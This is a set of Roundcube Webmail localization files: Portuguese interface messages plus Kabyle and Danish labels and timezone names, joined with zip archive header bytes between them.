$messages['invalidrequest'] = 'Pedido inválido! Não foi guardada nenhuma informação.';
$messages['invalidhost'] = 'Nome do servidor inválido.';
$messages['nomessagesfound'] = 'Não existem mensagens nesta pasta.';
$messages['loggedout'] = 'A sua sessão foi encerrada com sucesso. Até breve!';
$messages['mailboxempty'] = 'A caixa de entrada está vazia';
$messages['nomessages'] = 'Não existem mensagens';
$messages['refreshing'] = 'A atualizar...';
$messages['loading'] = 'A carregar...';
$messages['uploading'] = 'A enviar ficheiro...';
$messages['attaching'] = 'A anexar ficheiro...';
$messages['uploadingmany'] = 'A enviar ficheiros...';
$messages['loadingdata'] = 'A carregar dados...';
$messages['checkingmail'] = 'A verificar se existem novas mensagens...';
$messages['sendingmessage'] = 'A enviar mensagem...';
$messages['messagesent'] = 'Mensagem enviada com sucesso.';
$messages['savingmessage'] = 'A guardar mensagem...';
$messages['messagesaved'] = 'Mensagem guardada nos Rascunhos.';
$messages['successfullysaved'] = 'Guardado com sucesso.';
$messages['savingresponse'] = 'A guardar texto de resposta...';
$messages['deleteresponseconfirm'] = 'Deseja realmente apagar este texto de resposta?';
$messages['nocontactselected'] = 'Ainda não selecionou um contacto.';
$messages['addedsuccessfully'] = 'Contacto adicionado com sucesso no livro de endereços.';
$messages['contactexists'] = 'Já existe um contacto com este endereço de email.';
$messages['contactnameexists'] = 'Já existe um contacto com este nome.';
$messages['blockedimages'] = 'Para proteger a sua privacidade, as imagens desta mensagem foram bloqueadas.';
$messages['blockedresources'] = 'Para proteger a sua privacidade os recursos remotos foram bloqueados.';
$messages['suspiciousemail'] = 'Esta mensagem contém endereços de email suspeitos que podem ser fraudulentos.';
$messages['bccemail'] = 'A(s) mensagem(ns) reencaminhada(s) contêm destinatários confidenciais (Bcc).';
$messages['bouncehint'] = 'A mensagem será enviada sem nenhuma alteração, ou seja, usando o corpo, cabeçalhos e destinatários original.';
$messages['encryptedmessage'] = 'Esta mensagem está encriptada e não pode ser apresentada. Desculpe!';
$messages['externalmessagedecryption'] = 'Isto é uma mensagem encriptada e pode ser desencriptada com uma extensão do seu navegador.';
$messages['nopubkeyfor'] = 'Não foi encontrada nenhuma chave pública válida para $email';
$messages['nopubkeyforsender'] = 'Não foi encontrada nenhuma chave pública válida para a sua identidade de remetente. Deseja encriptar a mensagem apenas para os destinatários?';
$messages['encryptnoattachments'] = 'Os anexos já enviados não podem ser encriptados. Por favor, adicione-os novamente no editor de criptografia.';
$messages['searchpubkeyservers'] = 'Deseja procurar servidores de chaves públicas para as chaves em falta?';
$messages['encryptpubkeysfound'] = 'Foram encontradas as seguintes chaves públicas:';
$messages['keyservererror'] = 'Falha ao obter a chave do servidor de chaves.';
$messages['keyimportsuccess'] = 'Chave pública $key importada com sucesso para o seu chaveiro.';
$messages['nocontactsfound'] = 'Nenhum contacto encontrado.';
$messages['contactnotfound'] = 'O contacto especificado não foi encontrado.';
$messages['contactsearchonly'] = 'Tem de usar o formulário de pesquisa para ver contactos do livro de endereços selecionado.';
$messages['sendingfailed'] = 'Falha no envio da mensagem.';
$messages['senttooquickly'] = 'Por favor, aguarde $sec segundos antes de enviar esta mensagem.';
$messages['errorsavingsent'] = 'Ocorreu um erro ao guardar a mensagem enviada.';
$messages['errorsaving'] = 'Ocorreu um erro ao guardar.';
$messages['errormoving'] = 'Não foi possível mover as mensagens.';
$messages['errorcopying'] = 'Não foi possível copiar as mensagens.';
$messages['errordeleting'] = 'Não foi possível eliminar as mensagens.';
$messages['errormarking'] = 'Não foi possível marcar as mensagens.';
$messages['alerttitle'] = 'Atenção';
$messages['confirmationtitle'] = 'Tem a certeza...';
$messages['deletecontactconfirm']  = 'Tem a certeza que pretende eliminar os contactos selecionados?';
$messages['deletegroupconfirm']  = 'Tem a certeza que pretende eliminar o grupo selecionado?';
$messages['deletemessagesconfirm'] = 'Tem a certeza que pretende eliminar as mensagens selecionadas?';
$messages['deletefolderconfirm']  = 'Quer mesmo eliminar esta pasta?';
$messages['movefolderconfirm']  = 'Quer mesmo mover esta pasta?';
$messages['purgefolderconfirm']  = 'Quer mesmo eliminar todas mensagens desta pasta?';
$messages['contactdeleting'] = 'A eliminar contactos...';
$messages['groupdeleting'] = 'A eliminar grupo...';
$messages['folderdeleting'] = 'A eliminar pasta...';
$messages['foldermoving'] = 'A mover pasta...';
$messages['foldersubscribing'] = 'A subscrever pasta...';
$messages['folderunsubscribing'] = 'A cancelar subscrição da pasta...';
$messages['formincomplete'] = 'Os campos não foram completamente preenchidos.';
$messages['noemailwarning'] = 'Por favor, introduza um endereço de email válido.';
$messages['nonamewarning']  = 'Por favor, escreva um nome.';
$messages['nopagesizewarning'] = 'Por favor, introduza o tamanho da página.';
$messages['nosenderwarning'] = 'Por favor, introduza o endereço de email do remetente.';
$messages['recipientsadded'] = 'Destinatário(s) adicionado(s) com sucesso.';
$messages['norecipientwarning'] = 'Por favor, insira pelo menos um destinatário.';
$messages['disclosedrecipwarning'] = 'Todos os destinatários verão os endereços de email uns dos outros. Para evitar esta situação e proteger a sua privacidade, pode usar o campo Bcc.';
$messages['disclosedreciptitle'] = 'Demasiados destinatários públicos';
$messages['nosubjectwarning']  = 'O campo "Assunto" não foi preenchido. Deseja incluí-lo agora?';
$messages['nosubjecttitle']  = 'Sem assunto';
$messages['nobodywarning'] = 'Enviar a mensagem sem texto?';
$messages['notsentwarning'] = 'A mensagem não foi enviada e tem alterações por guardar. Deseja descartar essas alterações?';
$messages['restoresavedcomposedata'] = 'Foi encontrada uma mensagem anteriormente composta mas não enviada.\n\nAssunto: $subject\nGuardada: $date\n\nDeseja restaurar esta mensagem?';
$messages['nosearchname'] = 'Por favor insira o nome do contacto ou endereço de email.';
$messages['notuploadedwarning'] = 'Nem todos os anexos foram ainda enviados. Por favor aguarde ou cancele o envio.';
$messages['searchsuccessful'] = '$nr mensagens encontradas.';
$messages['contactsearchsuccessful'] = '$nr contactos encontrados.';
$messages['searchnomatch'] = 'A pesquisa não obteve resultados.';
$messages['searching'] = 'A pesquisar...';
$messages['checking'] = 'A verificar...';
$messages['stillsearching'] = 'Ainda a procurar...';
$messages['nospellerrors'] = 'Não foi encontrado nenhum erro ortográfico.';
$messages['folderdeleted'] = 'Pasta eliminada com sucesso.';
$messages['foldersubscribed'] = 'Subscrição da pasta concluída com sucesso';
$messages['folderunsubscribed'] = 'Subscrição da pasta cancelada com sucesso.';
$messages['folderpurged'] = 'Pasta esvaziada com sucesso.';
$messages['folderexpunged'] = 'Pasta compactada com sucesso.';
$messages['deletedsuccessfully'] = 'Eliminado com sucesso.';
$messages['converting'] = 'A remover a formatação...';
$messages['messageopenerror'] = 'Não foi possível carregar a mensagem.';
$messages['filelinkerror'] = 'Falha ao anexar o ficheiro.';
$messages['fileuploaderror'] = 'Falha ao carregar o ficheiro.';
$messages['csvfilemismatch'] = 'A importação de vários ficheiros CSV com campos diferentes não é suportada.';
$messages['filesizeerror'] = 'O ficheiro excede o tamanho máximo permitido de $size.';
$messages['filecounterror'] = 'Pode carregar, no máximo, $count ficheiro(s) de cada vez.';
$messages['msgsizeerror'] = 'Falha ao anexar um ficheiro. O tamanho máximo da mensagem ($size) foi excedido.';
$messages['msgsizeerrorfwd'] = 'O tamanho máximo para uma mensagem ($size) foi excedido. $num mensagem(ns) não foi(ram) anexada(s).';
$messages['copysuccess'] = '$nr contacto(s) copiado(s) com sucesso.';
$messages['movesuccess'] = '$nr contacto(s) movido(s) com sucesso.';
$messages['copyerror'] = 'Não foi possível copiar o(s) contacto(s).';
$messages['moveerror'] = 'Não foi possível mover o(s) contacto(s).';
$messages['sourceisreadonly'] = 'Esta origem de endereços é só de leitura.';
$messages['errorsavingcontact'] = 'Não foi possível guardar o endereço deste contacto.';
$messages['movingmessage'] = 'A mover mensagem(ns)...';
$messages['copyingmessage'] = 'A copiar mensagem(ns)...';
$messages['copyingcontact'] = 'A copiar contacto(s)...';
$messages['movingcontact'] = 'A mover contacto(s)...';
$messages['deletingmessage'] = 'A eliminar mensagem(ns)...';
$messages['markingmessage'] = 'A marcar mensagem(ns)...';
$messages['addingmember'] = 'A adicionar contacto(s) ao grupo...';
$messages['removingmember'] = 'A remover contacto(s) do grupo...';
$messages['receiptsent'] = 'Recibo de leitura enviado com sucesso.';
$messages['errorsendingreceipt'] = 'Não foi possível enviar o recibo.';
$messages['deleteidentityconfirm'] = 'Pretende realmente eliminar esta identidade?';
$messages['nodeletelastidentity'] = 'Esta é a sua última identidade, não é possível eliminá-la.';
$messages['forbiddencharacter'] = 'O nome da pasta contém um caractere inválido.';
$messages['selectimportfile'] = 'Por favor, selecione um ficheiro para enviar.';
$messages['addresswriterror'] = 'Não é possível escrever no livro de endereços selecionado.';
$messages['contactaddedtogroup'] = 'Contacto adicionado com sucesso a este grupo.';
$messages['contactremovedfromgroup'] = 'Contacto removido com sucesso deste grupo.';
$messages['nogroupassignmentschanged'] = 'Não foi alterada nenhuma atribuição de grupo.';
$messages['importwait'] = 'A importar, por favor aguarde...';
$messages['importformaterror'] = 'A importação falhou! O ficheiro enviado não é um ficheiro de dados válido.';
$messages['importconfirm'] = '<b>Foram importados com sucesso $inserted contactos</b>';
$messages['importconfirmskipped'] = '<b>Ignoradas $skipped entradas já existentes</b>';
$messages['importmessagesuccess'] = 'Foram importadas com sucesso $nr mensagens';
$messages['importmessageerror'] = 'A importação falhou! O ficheiro carregado não é um arquivo de caixa de correio ou ficheiro de mensagem válido.';
$messages['opnotpermitted'] = 'Operação não permitida!';
$messages['nofromaddress'] = 'Falta o endereço de email na identidade selecionada.';
$messages['editorwarning'] = 'Alterar o tipo de editor pode causar a perda da formatação do texto. Deseja continuar?';
$messages['httpreceivedencrypterror'] = 'Ocorreu um erro fatal de configuração. Contacte o seu Administrador imediatamente. <b>A sua mensagem não pôde ser enviada.</b>';
$messages['smtpconnerror'] = 'Erro SMTP ($code): A ligação ao servidor falhou.';
$messages['smtpautherror'] = 'Erro SMTP ($code): A autenticação falhou.';
$messages['smtpfromerror'] = 'Erro SMTP ($code): Falha ao definir o remetente "$from" ($msg).';
$messages['smtptoerror'] = 'Erro SMTP ($code): Falha ao adicionar o destinatário: "$to" ($msg).';
$messages['smtprecipientserror'] = 'Erro SMTP: Impossível analisar a lista de destinatários.';
$messages['smtputf8error'] = 'Erro de SMTP: O servidor não suporta Unicode nos endereços de email.';
$messages['smtpsizeerror'] = 'Erro SMTP: O tamanho da mensagem excede o limite do servidor ($limit)';
$messages['smtperror'] = 'Erro SMTP: $msg';
$messages['emailformaterror'] = 'Endereço de email incorreto: $email';
$messages['toomanyrecipients'] = 'Demasiados destinatários. Reduza o número de destinatários para o máximo de $max.';
$messages['maxgroupmembersreached'] = 'O número de membros do grupo ultrapassa o máximo permitido de $max.';
$messages['internalerror'] = 'Ocorreu um erro interno. Por favor, tente novamente.';
$messages['contactdelerror'] = 'Não foi possível eliminar o(s) contacto(s).';
$messages['contactdeleted'] = 'Contacto(s) eliminado(s) com sucesso.';
$messages['contactrestoreerror'] = 'Não foi possível restaurar o(s) contacto(s) eliminados.';
$messages['contactrestored'] = 'Contacto(s) restaurado(s) com sucesso.';
$messages['groupdeleted'] = 'Grupo eliminado com sucesso.';
$messages['grouprenamed'] = 'Grupo renomeado com sucesso.';
$messages['groupcreated'] = 'Grupo criado com sucesso.';
$messages['savedsearchdeleted'] = 'A pesquisa guardada foi eliminada com sucesso.';
$messages['savedsearchdeleteerror'] = 'Não foi possível eliminar a pesquisa guardada.';
$messages['savedsearchcreated'] = 'Pesquisa guardada criada com sucesso.';
$messages['savedsearchcreateerror'] = 'Não foi possível criar a pesquisa guardada.';
$messages['messagedeleted'] = 'Mensagem(ns) eliminada(s) com sucesso.';
$messages['messagemoved'] = 'Mensagem(ns) movida(s) com sucesso.';
$messages['messagemovedtotrash'] = 'Mensagem(ns) movida(s) com sucesso para a Reciclagem.';
$messages['messagecopied'] = 'Mensagem(ns) copiada(s) com sucesso.';
$messages['messagemarked'] = 'Mensagem(ns) marcada(s) com sucesso.';
$messages['autocompletechars'] = 'Indique pelo menos $min caracteres para o auto preenchimento.';
$messages['autocompletemore'] = 'Demasiados registos encontrados. Por favor, insira mais caracteres.';
$messages['namecannotbeempty'] = 'O nome não pode estar em branco.';
$messages['nametoolong'] = 'O nome é demasiado longo.';
$messages['namedotforbidden'] = 'O nome da pasta não pode começar com um ponto.';
$messages['folderupdated'] = 'Atualização da pasta concluída com sucesso.';
$messages['foldercreated'] = 'Pasta criada com sucesso.';
$messages['invalidimageformat'] = 'O formato da imagem não é suportado.';
$messages['mispellingsfound'] = 'Foram detetados erros de ortografia nesta mensagem.';
$messages['parentnotwritable'] = 'Não é possível criar/mover esta pasta para a pasta selecionada. O acesso foi negado.';
$messages['messagetoobig'] = 'A mensagem é demasiado grande para ser processada.';
$messages['attachmentvalidationerror'] = 'Este anexo é suspeito porque o seu tipo não corresponde ao tipo declarado na mensagem. Se não confiar no remetente, não deve abri-lo no navegador, pois pode conter conteúdo malicioso.
Esperado: $expected; encontrado: $detected';
$messages['noscriptwarning'] = 'Aviso: Este serviço de webmail utiliza Javascript! Para o poder utilizar, ative o Javascript nas definições do seu navegador.';
$messages['messageissent'] = 'A mensagem já foi enviada, mas ainda não foi guardada. Deseja guardá-la agora?';
$messages['errnotfound'] = 'Ficheiro não encontrado';
$messages['errnotfoundexplain'] = 'O recurso solicitado não foi encontrado!';
$messages['errfailedrequest'] = 'A solicitação falhou';
$messages['errauthorizationfailed'] = 'Falha na autorização';
$messages['errunauthorizedexplain'] = 'Não foi possível verificar se está autorizado a aceder a este serviço!';
$messages['errrequestcheckfailed'] = 'Falha na verificação da solicitação ';
$messages['errcsrfprotectionexplain'] = "Para sua proteção, o acesso a este recurso está protegido contra CSRF.\nlf Se está a ver isto, provavelmente não fez logout antes de sair da aplicação web.\n\nAgora, é necessária interação humana para continuar.";
$messages['errcontactserveradmin'] = 'Por favor, contacte o administrador do servidor.';
$messages['clicktoresumesession'] = 'Clique aqui para retomar a sua sessão anterior';
$messages['errcomposesession'] = 'Erro na sessão de composição';
$messages['errcomposesessionexplain'] = 'A sessão de composição solicitada não foi encontrada.';
$messages['clicktocompose'] = 'Clique aqui para escrever uma nova mensagem';
$messages['nosupporterror'] = 'Esta funcionalidade não é suportada pelo seu navegador.';
$messages['siginserted'] = 'Assinatura inserida com sucesso.';
$messages['responseinserted'] = 'Resposta inserida com sucesso.';
$messages['noresponsesavailable'] = 'Sem respostas disponíveis';
$messages['listempty'] = 'A lista está vazia.';
$messages['listusebutton'] = 'Use o botão Criar para adicionar um novo registo.';
$messages['keypaircreatesuccess'] = 'Um novo par de chaves foi criado com sucesso para $identity.';
$messages['emptyattachment'] = 'Este anexo parece estar vazio.<br>Por favor, verifique com a pessoa que o enviou.';
$messages['oauthloginfailed'] = 'O login do OAuth falhou. Por favor, tente novamente.';
PK
h�\����#program/localization/kab/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['isread'] = 'Ɣeṛ';
$labels['unknown'] = 'arussin';
$labels['other'] = 'Ayen-nniḍen';
$labels['typeother'] = 'Ayen-nniḍen';
$labels['delete'] = 'Kkes';
$labels['create'] = 'Rnu';
PK
h�\FqUBB%program/localization/kab/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Teḍra-d tuccḍa';
PK
h�\Q��(��(program/localization/da_DK/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:america'] = 'Amerika';
$labels['tz:antarctica'] = 'Antarktis';
$labels['tz:asia'] = 'Asien';
$labels['tz:asia:bangkok'] = 'Bangkok';
$labels['tz:europe'] = 'Europa';
$labels['tz:europe:athens'] = 'Athen';
$labels['tz:europe:belgrade'] = 'Belgien';
$labels['tz:europe:brussels'] = 'Bruxelles';
$labels['tz:europe:copenhagen'] = 'København';
$labels['tz:europe:lisbon'] = 'Lissabon';
$labels['tz:europe:prague'] = 'Prag';
$labels['tz:europe:rome'] = 'Rom';
PK
h�\|n��x�x%program/localization/da_DK/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Velkommen til $product';
$labels['username'] = 'Brugernavn';
$labels['password'] = 'Adgangskode';
$labels['server'] = 'Server';
$labels['login'] = 'Log på';
$labels['oauthlogin'] = 'Login med $provider';
$labels['menu'] = 'Menu';
$labels['logout'] = 'Log af';
$labels['mail'] = 'E-mail';
$labels['settings'] = 'Indstillinger';
$labels['addressbook'] = 'Adressebog';
$labels['darkmode'] = 'Mørk indstilling';
$labels['lightmode'] = 'Lys indstilling';
$labels['inbox'] = 'Indbakke';
$labels['drafts'] = 'Kladder';
$labels['sent'] = 'Sendt post';
$labels['trash'] = 'Papirkurv';
$labels['junk'] = 'Spam';
$labels['show_real_foldernames'] = 'Vis rigtige navne for specielle mapper';
$labels['subject'] = 'Emne';
$labels['from'] = 'Afsender';
$labels['sender'] = 'Afsender';
$labels['to'] = 'Modtager';
$labels['cc'] = 'Cc';
$labels['bcc'] = 'Bcc';
$labels['replyto'] = 'Svar til';
$labels['followupto'] = 'Opfølgning til';
$labels['date'] = 'Dato';
$labels['size'] = 'Størrelse';
$labels['priority'] = 'Prioritet';
$labels['organization'] = 'Organisation';
$labels['readstatus'] = 'Status for læsning';
$labels['listoptions'] = 'Listeindstillinger...';
$labels['listoptionstitle'] = 'Listeindstillinger';
$labels['mailboxlist'] = 'Mapper';
$labels['messagesfromto'] = 'Besked $from til $to af $count';
$labels['threadsfromto'] = 'Tråd $from til $to af $count';
$labels['messagenrof'] = 'Besked $nr af $count';
$labels['fromtoshort'] = '$from – $to af $count';
$labels['copy'] = 'Kopiér';
$labels['move'] = 'Flyt';
$labels['moveto'] = 'Flyt til...';
$labels['copyto'] = 'Kopier til...';
$labels['download'] = 'Download';
$labels['open'] = 'Åbn';
$labels['showattachment'] = 'Vis';
$labels['showanyway'] = 'Vis alligevel';
$labels['filename'] = 'Filnavn';
$labels['filesize'] = 'Filstørrelse';
$labels['addtoaddressbook'] = 'Føj til adressebog';
$labels['sun'] = 'søn';
$labels['mon'] = 'man';
$labels['tue'] = 'tir';
$labels['wed'] = 'ons';
$labels['thu'] = 'tor';
$labels['fri'] = 'fre';
$labels['sat'] = 'lør';
$labels['sunday'] = 'søndag';
$labels['monday'] = 'mandag';
$labels['tuesday'] = 'tirsdag';
$labels['wednesday'] = 'onsdag';
$labels['thursday'] = 'torsdag';
$labels['friday'] = 'fredag';
$labels['saturday'] = 'lørdag';
$labels['jan'] = 'jan';
$labels['feb'] = 'feb';
$labels['mar'] = 'mar';
$labels['apr'] = 'apr';
$labels['may'] = 'maj';
$labels['jun'] = 'jun';
$labels['jul'] = 'jul';
$labels['aug'] = 'aug';
$labels['sep'] = 'sep';
$labels['oct'] = 'okt';
$labels['nov'] = 'nov';
$labels['dec'] = 'dec';
$labels['longjan'] = 'januar';
$labels['longfeb'] = 'februar';
$labels['longmar'] = 'marts';
$labels['longapr'] = 'april';
$labels['longmay'] = 'maj';
$labels['longjun'] = 'juni';
$labels['longjul'] = 'juli';
$labels['longaug'] = 'august';
$labels['longsep'] = 'september';
$labels['longoct'] = 'oktober';
$labels['longnov'] = 'november';
$labels['longdec'] = 'december';
$labels['today'] = 'I dag';
$labels['refresh'] = 'Opdatér';
$labels['checkmail'] = 'Se efter nye beskeder';
$labels['compose'] = 'Ny besked';
$labels['writenewmessage'] = 'Skriv en ny besked';
$labels['reply'] = 'Svar';
$labels['replytomessage'] = 'Svar til afsender';
$labels['replytoallmessage'] = 'Svar til listen eller til afsender og alle modtagere';
$labels['replyall'] = 'Svar alle';
$labels['replylist'] = 'Svar til listen';
$labels['forward'] = 'Videresend';
$labels['forwardinline'] = 'Videresend som del af teksten';
$labels['forwardattachment'] = 'Videresend som vedhæftning';
$labels['forwardmessage'] = 'Videresend beskeden';
$labels['bouncemsg'] = 'Gensend (bounce)';
$labels['bounce'] = 'Gensend';
$labels['deletemessage'] = 'Slet besked';
$labels['movemessagetotrash'] = 'Flyt besked til Papirkurv';
$labels['printmessage'] = 'Udskriv denne besked';
$labels['previousmessage'] = 'Vis forrige besked';
$labels['firstmessage'] = 'Vis første besked';
$labels['nextmessage'] = 'Vis næste besked';
$labels['lastmessage'] = 'Vis sidste besked';
$labels['backtolist'] = 'Tilbage til oversigten';
$labels['viewsource'] = 'Vis kilde';
$labels['mark'] = 'Markér';
$labels['markmessages'] = 'Markér beskeder';
$labels['markread'] = 'Som læst';
$labels['markunread'] = 'Som ulæst';
$labels['markflagged'] = 'Som markeret';
$labels['markunflagged'] = 'Som umarkeret';
$labels['moreactions'] = 'Flere funktioner...';
$labels['markallread'] = 'Marker alle som læst';
$labels['folders-cur'] = 'Valgte mappe';
$labels['folders-sub'] = 'Valgte mappe og dens undermapper';
$labels['folders-all'] = 'Alle mapper';
$labels['more'] = 'Mere';
$labels['back'] = 'Tilbage';
$labels['options'] = 'Indstillinger';
$labels['composeoptions'] = 'Indstillinger for ny besked';
$labels['optionsandattachments'] = 'Indstillinger og vedhæftninger';
$labels['actions'] = 'Handlinger';
$labels['first'] = 'Første';
$labels['last'] = 'Sidste';
$labels['previous'] = 'Forrige';
$labels['next'] = 'Næste';
$labels['select'] = 'Vælg';
$labels['selection'] = 'Valg';
$labels['all'] = 'Alle';
$labels['none'] = 'Ingen';
$labels['currpage'] = 'Aktuel side';
$labels['isread'] = 'Læs';
$labels['unread'] = 'Ulæste';
$labels['flagged'] = 'Markeret';
$labels['unflagged'] = 'Ikke markeret';
$labels['unanswered'] = 'Ubesvaret';
$labels['withattachment'] = 'Med vedhæftning';
$labels['deleted'] = 'Slettede';
$labels['undeleted'] = 'Ikke slettet';
$labels['replied'] = 'Besvaret';
$labels['forwarded'] = 'Videresendt';
$labels['invert'] = 'Invertér';
$labels['filter'] = 'Filtrer';
$labels['list'] = 'Liste';
$labels['threads'] = 'Tråde';
$labels['expand-all'] = 'Udfold alle';
$labels['expand-unread'] = 'Udfold ulæste';
$labels['collapse-all'] = 'Fold alle';
$labels['threaded'] = 'Trådet';
$labels['showunread'] = 'Vis ulæste beskeder';
$labels['autoexpand_threads'] = 'Udfold besked tråde';
$labels['do_expand'] = 'alle tråde';
$labels['expand_only_unread'] = 'kun dem med ulæste beskeder';
$labels['fromto'] = 'Afsender/Modtager';
$labels['flag'] = 'Flag';
$labels['attachment'] = 'Vedhæftning';
$labels['nonesort'] = 'Ingen';
$labels['sentdate'] = 'Sendt dato';
$labels['arrival'] = 'Modtaget dato';
$labels['asc'] = 'stigende';
$labels['desc'] = 'faldende';
$labels['listcolumns'] = 'Vist kolonne';
$labels['listsorting'] = 'Sorteringskolonne';
$labels['listorder'] = 'Sorter efter';
$labels['listmode'] = 'Listevisningstilstand';
$labels['lmode'] = 'Listevisningsmode';
$labels['layout'] = 'Layout';
$labels['layoutwidescreen'] = 'Bred skærm';
$labels['layoutdesktop'] = 'Desktop';
$labels['layoutlist'] = 'Liste';
$labels['layoutwidescreendesc'] = 'Bred skærm (3 kolonner)';
$labels['layoutdesktopdesc'] = 'Stationær (bred liste og forhåndsvisning nedenunder)';
$labels['layoutlistdesc'] = 'Liste (uden forhåndsvisning)';
$labels['folderactions'] = 'Mappehandlinger...';
$labels['compact'] = 'Ryd op';
$labels['empty'] = 'Tøm';
$labels['importmessages'] = 'Importer beskeder';
$labels['mailimportzip'] = 'Flere filer kan komprimeres i en zip-fil.';
$labels['quota'] = 'Diskforbrug';
$labels['unknown'] = 'ukendt';
$labels['unlimited'] = 'ubegrænset';
$labels['quotatype'] = 'Kvotetype';
$labels['quotatotal'] = 'Grænse';
$labels['quotaused'] = 'Brugt';
$labels['quotastorage'] = 'Disk plads';
$labels['quotamessage'] = 'Beskeder';
$labels['shortheaderdate'] = 'På $date';
$labels['shortheaderto'] = 'Til $to den $date';
$labels['shortheaderfrom'] = 'Fra $from den $date';
$labels['quicksearch'] = 'Hurtigsøg';
$labels['searchplaceholder'] = 'Søg...';
$labels['resetsearch'] = 'Nulstil søgning';
$labels['searchmod'] = 'Søgeparametre';
$labels['msgtext'] = 'Hele beskeden';
$labels['body'] = 'Body';
$labels['type'] = 'Type';
$labels['namex'] = 'Navn';
$labels['searchscope'] = 'Omfang';
$labels['currentfolder'] = 'Nuværende mappe';
$labels['subfolders'] = 'Denne og undermapper';
$labels['allfolders'] = 'Alle mapper';
$labels['searchinterval-1W'] = 'ældre end en uge';
$labels['searchinterval-1M'] = 'ældre end en måned';
$labels['searchinterval-1Y'] = 'ældre end et år';
$labels['searchinterval1W'] = 'yngre end en uge';
$labels['searchinterval1M'] = 'yngre end en måned';
$labels['searchinterval1Y'] = 'yngre end et år';
$labels['openinextwin'] = 'Åbn i nyt vindue';
$labels['emlsave'] = 'Download (.eml)';
$labels['changeformattext'] = 'Vis i ren tekst format';
$labels['changeformathtml'] = 'Vis i HTML-format';
$labels['editasnew'] = 'Redigér som ny';
$labels['send'] = 'Send';
$labels['sendmessage'] = 'Send besked';
$labels['savemessage'] = 'Gem som kladde';
$labels['addattachment'] = 'Vedhæft en fil';
$labels['charset'] = 'Tegnsæt';
$labels['editortype'] = 'Tekstbehandler';
$labels['returnreceipt'] = 'Anmod om kvittering ved læst';
$labels['dsn'] = 'Anmod om leveringsstatus';
$labels['mailreplyintro'] = '$sender skrev den $date:';
$labels['originalmessage'] = 'Original besked';
$labels['selectimage'] = 'Vælg billede';
$labels['addimage'] = 'Tilføje billede';
$labels['selectmedia'] = 'Vælg video';
$labels['addmedia'] = 'Tilføj video';
$labels['encrypt'] = 'Krypter';
$labels['encryptmessage'] = 'Krypter besked';
$labels['encryptmessagemailvelope'] = 'Krypter besked med Mailvelope';
$labels['importpubkeys'] = 'Importer offentlige nøgler';
$labels['encryptedsendialog'] = 'Sender krypteret besked';
$labels['encryptandsign'] = 'Krypter og underskriv';
$labels['keyid'] = 'NøgleID';
$labels['keylength'] = 'Bits';
$labels['keyexpired'] = 'Udløbet';
$labels['keyrevoked'] = 'Tilbagekaldt';
$labels['bccinstead'] = 'Brug Bcc';
$labels['addheader'] = 'Tilføj modtager (header)';
$labels['insert'] = 'Indsæt';
$labels['insertcontact'] = 'Indsæt kontakt(er)';
$labels['recipient'] = 'Modtager';
$labels['recipientedit'] = 'Editér modtager';
$labels['editidents'] = 'Ret identiteter';
$labels['spellcheck'] = 'Stav';
$labels['checkspelling'] = 'Stavekontrol';
$labels['resumeediting'] = 'Genoptag redigering';
$labels['revertto'] = 'Vend tilbage til';
$labels['restore'] = 'Gendan';
$labels['restoremessage'] = 'Gendan besked';
$labels['ignore'] = 'Ignorer';
$labels['responses'] = 'Svar';
$labels['insertresponse'] = 'Indsæt et svar';
$labels['manageresponses'] = 'Administrer svar';
$labels['newresponse'] = 'Opret ny svar';
$labels['addresponse'] = 'Tilføj svar';
$labels['editresponse'] = 'Rediger svar';
$labels['editresponses'] = 'Rediger svar';
$labels['responsename'] = 'Navn';
$labels['responsetext'] = 'Svartekst';
$labels['attach'] = 'Vedhæft';
$labels['attachments'] = 'Vedhæftninger';
$labels['upload'] = 'Overfør';
$labels['uploadprogress'] = '$percent ($current af $total)';
$labels['close'] = 'Luk';
$labels['messageoptions'] = 'Beskedmuligheder...';
$labels['togglecomposeoptions'] = 'Skift kompositions indstillinger';
$labels['attachmentrename'] = 'Omdøb vedhæftet fil';
$labels['low'] = 'Lav';
$labels['lowest'] = 'Lavest';
$labels['normal'] = 'Normal';
$labels['high'] = 'Høj';
$labels['highest'] = 'Højest';
$labels['nosubject'] = '(intet emne)';
$labels['showimages'] = 'Vis billeder';
$labels['allow'] = 'Tillad';
$labels['alwaysshow'] = 'Vis altid billeder fra $sender';
$labels['alwaysallow'] = 'Tillad altid fra $sender';
$labels['isdraft'] = 'Dette er en kladde.';
$labels['andnmore'] = '$nr yderligere...';
$labels['details'] = 'Detaljer';
$labels['summary'] = 'resume';
$labels['headers'] = 'Brevhoveder';
$labels['allheaders'] = 'Alle brevhoveder...';
$labels['togglemoreheaders'] = 'Vis yderligere brevhoveder';
$labels['togglefullheaders'] = 'Vis eller skjul rå brevhoveder';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Almindelig tekst';
$labels['savesentmessagein'] = 'Gem afsendt besked i';
$labels['dontsave'] = 'gem ikke';
